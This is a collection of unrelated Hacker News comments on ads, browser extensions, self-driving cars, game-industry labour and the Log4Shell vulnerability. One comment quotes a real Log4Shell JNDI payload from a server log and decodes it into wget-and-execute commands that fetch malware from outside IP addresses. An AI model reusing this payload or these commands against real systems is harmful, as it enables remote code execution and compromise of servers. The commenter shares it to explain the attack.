skysight-inc/HackerNews huggingface dataset:
I am a 63 year old developer, three of my close friends are also developers in their 60's. One works for Lockheed on 3D engines, one works for Cisco, they are both treated very well by their companies. Myself and another friend work for a startup. We both enjoy the startup culture, and now that kids are away for their own lives, we have the time needed by startups. I have run into crazy hiring practices, but I have learned that when they ask me to balance a binary tree that the job is not for me.

I hope to never stop coding, I really enjoy it!
And such practices, based on personalized profiles, should most likely be illegal. (Various other practices like these have been made illegal as well)

Personally, I don't care that they're doing this (to me). I care more that they shouldn't be able to legally do it.

And also, as other people have said: it's ads that are the problem. Not personalized ads. Ads in general. They're ugly, bad, awful, battery-sucking, headache-inducing, loud, autoplaying, CPU-hungry, slow, very bad no good.

Seriously.
Granular control over requests is completely lost in Manifest V3.

For example, with Manifest V2 we can initiate a request from a content script after we begin listening for it from the background script, pass a single-use token in the Accept header, identify the request from the background script based on the token, remove the token from the Accept header and edit other headers before the request is sent to the server, then manipulate the response for that single request and stop listening from the background script.

I use this workflow in Search by Image to grab an image from the page context when no CSP headers are present for the asset, and the image is only served if a certain cookie and referrer is sent. This will no longer be possible to achieve with the current API of Manifest V3. Extensions used for page archival will also be impacted.

Manifest V3 removes a robust toolset that content blockers can use the react to all evasion techniques ad companies implement, and the rest of the extension ecosystem will be part of the fallout.
No they don’t, they manually merge code from upstream if they like it. Since Brave doesnt like it they wont merge it.
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That's correct, Cruise is doing driverless rides for employees in SF. I didn't know about Waymo's driverless rides, though-- can't say I follow the space that closely. Wow!
It was a snub at Chrome. I understand that the vast majority of the world uses Chrome, I just think it's foolish if you want to preserve your privacy.
This was really what made the decision easy for me back however many years ago when I started using an adblocker.

Internet ads can be irritating and the pervasive cross site tracking and profiling bothers me, but I don’t have fundamental issues with advertising generally. What is totally unacceptable is being served ads with malicious payloads on major websites.

If a website wants me to take their “please disable your adblocker” popup seriously they need to make 100% sure they don’t serve ads that instantly redirect the browser to a fake facebook phishing website that breaks the back button. Until then it’s adblock everywhere and the same for all of my friends and family to whom I give computer help.
In terms of indisputable evidence for aliens, this is one interesting branch. Unfortunately, it's a whole lot of nothing so far. 10 of 12 samples are hoaxes for sure, and 2 samples are interesting samples.

Notice the difference between this article and the hype surrounding the materials. This scientist says they can be made on earth, but doesn't understand why someone would want too.

The UFO crowd would have you believe these 2+ materials cannot be manufactured on earth.

The most obvious answer is some nerd collected some slag from a furnace and sent it to the UFO people as a joke.

This ALL hinged around the fact that supposedly, no one would WANT to manufacture these.

The totally different and not one solid mass of the same thing is the other dead giveaway that it's slag.
Fuck me the Maiginot Line worked.! I have never read anything from Devereux without learning something that altered my world view a little bit.

Surely he is like Salted Caramel Ice Cream - one day I will order a cone and ... it will just be an ice cream like all the others.

Stay Salted Professor !
>I once had a grant that had data about the summer high and winter low effects on car maintenance of low income families.

I'd bet a lot of money that it kneecaps them less than road salt combined with vehicle inspections.

You can afford a lot of batteries (and other stuff) when the state isn't trying to screw you over a rusty wheel arch.
The only time I'd be a game developer is if I did an indie game solo or with an artist friend. I mean look at the wealth of indie games that exist. It's honestly the only place where original ideas come from now.
I generally don't answer to random trolls, but if you want to understand the intention of this question, read my other comments.
Maybe the best option is just to give people a choice.
If you haven't already, take a look at https://www.saaspegasus.com. I haven't used it, but you might like it. I'm not sure if it satisfies your criteria.
Wow, thanks for the comment. Reading the email gives a completely different perspective.
Can anyone ELI5 how the exploit works?
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Isn't that the company that stole IP from waymo?
The scroll-speed and the graphics remind me of the magnificent Xenon II Megablast.

https://www.youtube.com/watch?v=v9nD9DQwd80
The general motivation behind it can apply to any kind of software, but it's definitely not fitting for many categories.

In desktop applications I usually prefer tools that cover the majority of use-cases and provide an easy way to extend them (the last part is important too, otherwise you end up with the Windows 8 default apps). It doesn't make sense to split up a photo editor's core featureset, but that doesn't mean it's a good idea to just bury it in a pile of features out of the box that only 5% of users care about.
Its not really counterintuitive, the prime years are lower because true physical development in physical sports starts at a later age, everything up to that point is related to building a physical foundation for movement, building an interest in the sport, and laying groundwork for proper mechanics.

There is also societal stigma from playing video games seriously past early 20s(well atleast 5-10+ years ago, but with Twitch and things it is now way more accceptable).

"Reaction times in traditional sports are not as important" is laughable.
Rescuers were relieved to discover that many of the apparent injuries in the fulfillment center were only Wicked Witch of The East Legs Props.

https://www.amazon.com/MyPartyShirt-Wicked-Witch-East-Legs/d...
https://www.youtube.com/watch?v=kyOEwiQhzMI&t=8s
Tyler is just "high level" heroin addict so to say. There are indeed thousands of heroin addicts, just look at online of Dota 2.
The question is whether or not your interviewing practices filter out bad candidates. If your entire company has no employees then maybe but I find that hard to believe.
It's because they're too low, that's why.

People are driving contextually, it's the limits that are not keeping up.

They're not blindly targeting the "speed limit" and throwing all caution to the wind.

(of course, they're ALSO often throwing all caution to the wind, but that's another story).
I attempted Advent of Code in 25 different languages last year. Learn X in Y was extremely helpful for picking up basic syntax etc. when trying to speed learn enough of a new language to get by each day.

(Made it to day 16 before Christmas Crunch kicked in, but it was a great challenge)
large thread yesterday: https://news.ycombinator.com/item?id=29504755
Assange revealed no such thing. Reuters had published a transcript of the same video before Assange released it.
"Don't try to make the world better" is a pretty shitty attitude to have.

No, try to make it better! Fight like hell to make it better! That is how we progress. That is how we got the worker's protections we have now. They weren't given magnanimously. We fought long and hard for every single one, and it made everyone's life better.

Demand better. Always demand better.
I take less money to work in games. I love it. I've worked in different fields. I prefer game development. I am an artist and I love playing the games I've made with friends and strangers.
Enrolling all NPM publishers in enhanced login verification
In this vein, for particularly sensitive applications (e.g. password managers) I prefer to disable automatic updates.
Sorry, I don't understand this. I admittedly don't watch much streaming. But every streamer I've ever seen interacts constantly with their audience. And the ones I interviewed are intensely conscious of their audience and the need to make them feel special.

The actors I knew mainly focused on craft and collaboration with teams. If they dealt with the audience at all, it was in very controlled bursts in the minutes after a performance. So it seems to me that streaming is much more socially demanding.
Huh. I drove Bergen to Oslo and averaged something insane like 47mph or whatever the limits required (since I was terrified of their speed cameras) and was rarely passed in 6-7 hours of driving.
Put it into your spam folder
It’s interesting; I assume you’re using “mental gymnastics” in a derogatory sense but I love those questions and I would love answering them. I’m actually a bit peeved that no one is asking me them right now.
I know, the point was to exercise the various PyFL features.
If you think of it, a large part of the stress is really need not needed ( some of it will be always there) if there is a collective will of the management. It's largely the management to blame, not the role.
Chrome is removing the ability to examine an in-flight request and act on it with live code before it happens. So there is no way to port anything. You can perhaps remove all the live heuristics and just use the limited "static list of bad urls" functionality Google is leaving you with. But I wouldn't call that a port of the code.
The default region for global services including https://console.aws.amazon.com is us-east-1, but there are usual regional alternatives. For example: https://us-west-2.console.aws.amazon.com

It would probably be clearer that they exist if the console redirected to the regional URL when you switched regions.

STS, S3, etc have regional endpoints too that have continued to work when us-east-1 has been broken in the past and the various AWS clients can be configured to use them, which they also sadly don't tend to do by default.
What is bad for morale is keeping someone around who is a bad fit. Netflix has solved this problem by paying everyone at the top of the scale and firing everyone who doesn’t meet their bar.
the library parses logged messages for commands, which include a command which can be used for "connect to this server, download code from there, run it". To exploit it, put such a command into any place the app will write to log.
This is context based advertising. It is not personalized in that it has nothing to do with who you are. It is only based on what you do on the site.

DuckDuckGo has been pretty successful with context based advertising --- based simply on the terms you search for.
This is actually exactly the case I was thinking of. We have a few applications that use vault in a much more in-depth way than fetching a couple of secrets, so have the need to interact with it directly. We then have the much more common case of applications that use vault to fetch their database credentials, and for those we use a sidecar to fetch them at startup and another to renew them every 30 minutes.

The 2x sidecars do with 150 lines of YAML configuration what could be done with a library and 10 lines of java. And I don't buy the other theoretical benefits either. Easier to update? Each service can reference the library centrally from our monorepo whereas the YAML is copy-pasted to every service. It's also statically type-checked. Polyglot? Yeah, fair, but we're an almost entirely JVM shop.

Some of this could maybe be made easier with something like Kubevela but I don't think you're actually eliminating any complexity that way, just hiding it.
I can see how it could be misleading, but the way I read it wasn't as a threat but a condescension.
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Well I'll admit my waymo experience I can't talk about publicly. I get that might be a bit of a let down:) so feel free to ignore the waymo portion of my comment and just assume that everyone is around the same level of ability

> Also curious to know about Waymo’s performance in the snow because I haven’t heard much about that.

Me too, i know almost nothing about their ability in snow.
If you're logging requests you're in trouble.

Here's one from my apache log file

45.137.21.9 - - [11/Dec/2021:02:31:17 +0000] "POST / HTTP/1.1" 301 554 "-" "${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}"

If that were processed with log4J I believe it would decode it, connect to 45.137.21.9 po port 1389, then somehow execute

wget http://62.210.130.250/lh.sh;chmod +x lh.sh;./lh.sh

Which itself downloads

wget http://62.210.130.250/web/admin/x86;chmod +x x86;./x86 x86;
wget http://62.210.130.250/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget http://62.210.130.250/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;

However as I don't have log4j on the outside it's fine (it gets redirected to https, and then asked for an x509 certificate, which it doesn't provide, so gets dropped)

Minecraft logs every message from other players it receives, so all you have to do is type a message and everyone on the server is exploited.
Perhaps you should get a lawyer to advise you of your rights and options.
Being more charitable to GP's point, I didn't read it as "don't try to improve conditions". I read it as "vote with your feet".
You're looking for a single-bit stream of information and very likely you can find it as an electrical signal inside your doorbell already.

I wanted to replace the sound my wireless doorbell made so I took the basestation apart and it was a very simple thing, with three chips: a radio (NRF51), a microcontroller (PIC) and a blob of epoxy on a separate board that was connected to the speaker. It took maybe half an hour of beeping and scoping to understand how the PIC and the sound maker communicated - in this case five pins to select one of 32 sounds, and one pin to trigger playback. I simply took the playback trigger pin and connected it to a small MP3 player module and moved the speaker from the internal sound maker to that.

If you can just attach wires to the button directly, it's even simpler.

Of course, if the object is to use a pi zero to do some DSP, this is missing the point. But there's a good chance it's the long way round if you want to solve the problem of knowing when somebody is at your door.
I can’t use my free speech to encourage someone to make the same choice?

Trying to conflate “cancel culture” with the already-illegal concepts of stalking and harassment is disingenuous. Trolling and “narrative manipulation” are pretty clear protected free expression.
A specially formatted log entry can cause the logging library to fetch and run remote code. So if you're printing something a user provides into your logs, you're decently likely to be screwed.
This vulnerability is equivalent using printf(userData) when you should have done printf("%s", userData). From the perspective of the library developer, the feature is only available in the format string.
If the answer is to quit the game industry and just become a consumer, its very likely that the outcome will just be worse games and equally bad working conditions.
Crypto is fiat currency without even so much as the fiat. Meaning it floats completely at random based on the mood of the participants... which now is driven solely by wanting to sell that crypto to some Greater Fool.
Hi. Just to balance the dataset: I wouldn't be interested in such a tool. I use GitLab and I don't have a problem editing the `.gitlab-ci.yml` file given how infrequently I do that, and the certainty that if I relied on a tool that did that for me, I'd waste a lot of time fighting that tool to do a simple thing in YAML as opposed to actually doing it.

In short: it has no value for me. It doesn't solve a frequent problem, it doesn't solve a hard problem or an expensive one, and I am certain it will be my very problem and get in my way were I to use it.
> Adults without kids.

What an ignorant thing to say. Apparently having no kids==nothing to do except for consume full day long content.
I took a couple of rides in Chandler recently. It was incredible to see a completely driverless car pull up and take me to my destination (and back). Never felt weird or unsafe in the vehicle and the driving felt very natural.

When you experience it, it's clear they have a mature system that's learned from driving millions of real world miles (and billions in simulation). And if you follow their research/tech stack closely, there's no doubt they are years ahead of everyone else. I'm not sure how successful of a business they will be, but their tech is solid.

As far as driving in inclement weather, Waymo is pretty transparent that it's very much a work in progress. They claim the 5th gen Jaguar I-Pace vehicles (the 4th gen Pacificas in AZ don't do as well) will be able to handle rain/snow/fog better due to upgraded sensors, but it's one of the big challenges remaining for them.
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First of all, I'm not a particularly big fan of generational stereotypes in general, especially on a board like this that aims to do better. If I made a comment to the effect of "Zommers are the most entitled group I have ever seen," I would be (rightly) most likely downvoted to oblivion.

Secondly, I have never encountered it as a problem--at least in a way that affected me (never could really get into a dot-com company but we know how that mostly ended up). But that's mostly because I've had various roles where experience really trumped other things. But ageism is clearly an issue in tech broadly so I take issue with with the justification that it's OK to make casual cracks with the justification that it's punching up.

To say nothing that it added absolutely nothing to your comment. Rude interviewers are the issue. Not some imagined inability for older individuals to silence their phones.

Finally, I'm not sure doubling down on the oppressed race thing helps your argument--especially given what the age breakdown in tech looks like.
For me, one of the saddest things about the El-Salvador Bitcoin saga is seeing people here turn a blind eye to Bukele's power grabbing, because he plays into the narrative of their crypto greed.
“Artist” as in game media assets or as in a romanticized version of “software engineering”?

I think therein may lie the difference.
the complete inability for Twitter threads (and replies) to convey nuance should be enough to meet criteria for flagging.
> move to the city, as the gifted child will most likely do just fine in life

Why would you make this assumption though.
how do people keep up?

I don't. That's OK. It's fine to miss things.
Yeah and by someone who works for palantir no less - wonder how long they have been using it!?
Soon there are going to be plenty of "Driverless" cars from the 1970s if gas prices keep inflating.
Does advertising (as a form of speech) have any societal value?

If not then I think it's reasonable to restrict (time, place, and manner restrictions are recognized as being consistent with 1st A).

But maybe you can think of some value I can't.
Time and time again I try to switch to Firefox. But it always seems to fall short (for me at least).

I rely too much on separate profiles to disconnect work-related browsing from personal browsing. Separate bookmarks, sessions, browser plugins, sync preferences etc...

A UI that's as powerful is literally all that is needed for me anyway. Its such a shame they've neglected the Profile Manager.
The person who sent the message has a history of personally threatening people:

https://twitter.com/catoncoals/status/1469365235475791872
> Well, which is it? Or do we expect content creators to work for free?

"we" don't care either way. Their business model is their business

In any case there's plenty of people not blocking ads. It looks like everyone uses adblock if you look at a tech audience because they are a tech audience, not because everyone is using adblock
>Cars have had baked-on finish for 20+ years and generally don't rust through anymore, even with the ice melt put on roads in Minnesota;

It's better than it used to be but anything in the same plane as the tire rotates is still doesn't last. Rust also starts at the holes in panels where plastic trims attach and it's not uncommon to find 5-10yo vehicles that are missing large chunks of the rocker panels or areas around the rear perimeter under the bumper cover. Anything that routinely sees a gravel road will be destroyed in half the time.
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Why is a portable proof of contribution more valuable for a corporate donor than just having the corporate logo in the sponsors area of the website? If anyone bothers to verify that someone isn't lying about their donation they can go check.
This is so cool. I want to see posts like this for other old school minicomputers and mainframes!
Is it my responsibility to help "content creator" small business growth regardless of how ridiculous their revenue model is? Here is a tip: put some thought into the sustainability of tossing that responsibility over the wall to Google - if you want money, do the work. There was a time, not very long ago, when you could pretty easily control the amount of marketing you exposed yourself to.
I read the email on that Twitter page. This headline makes it sound as if Blizzard threatened their employees. That’s actually not the case.

It says if you sign the document, you’re handing certain rights over to an outside organization. It’s legally binding.

Regardless of your thoughts about Blizzard, unions, or whatever views you have — the headline is misleading clickbait trying to manufacture outrage. They know most people will look at this headline and not read the lengthy email.
After working couple of years in gaming, it would be extremely hard to convince me to work in it again.

Not only management is probably the worst kind I have seen but you know that the best can happen that the result of your work is going to make people spend time on video games instead of doing something better.
Working in games isn't courageous. As GP said, there's a glut of people who want to do it. It's oversupplied, and the lower wages reflect the lower marginal utility to society for engineers to work in games over other kinds of software.
Nah there was a PR to mitigate in 2016 -> https://issues.apache.org/jira/browse/LOG4J2-2109
>rather than almost any other branch of software engineering, where conditions are better

I doubt a large percentage of the people requesting this are engineers. Activision/Blizzard has 9500 employees and only 1800 signed the request for the CEO to step down. They apparently need at least 30% of employees to sign up for the union but haven't released any numbers as far as I can tell.
I’m not entirely sure what should or shouldn’t stand, but I guess I would speculate warehouse walls have a much higher surface area to mass ratio than cars, it certainly makes some sense to me that the building could go while the cars could stand, maybe especially if it’s less than EF4/5, no?
Fuck. Just when I got used to Chromium due its nice profiles feature.

Sigh. Back to Firefox then. Or perhaps I should just stop using the web for anything except the necessities. Now that I think about it, that would probably make my life better in more than one way.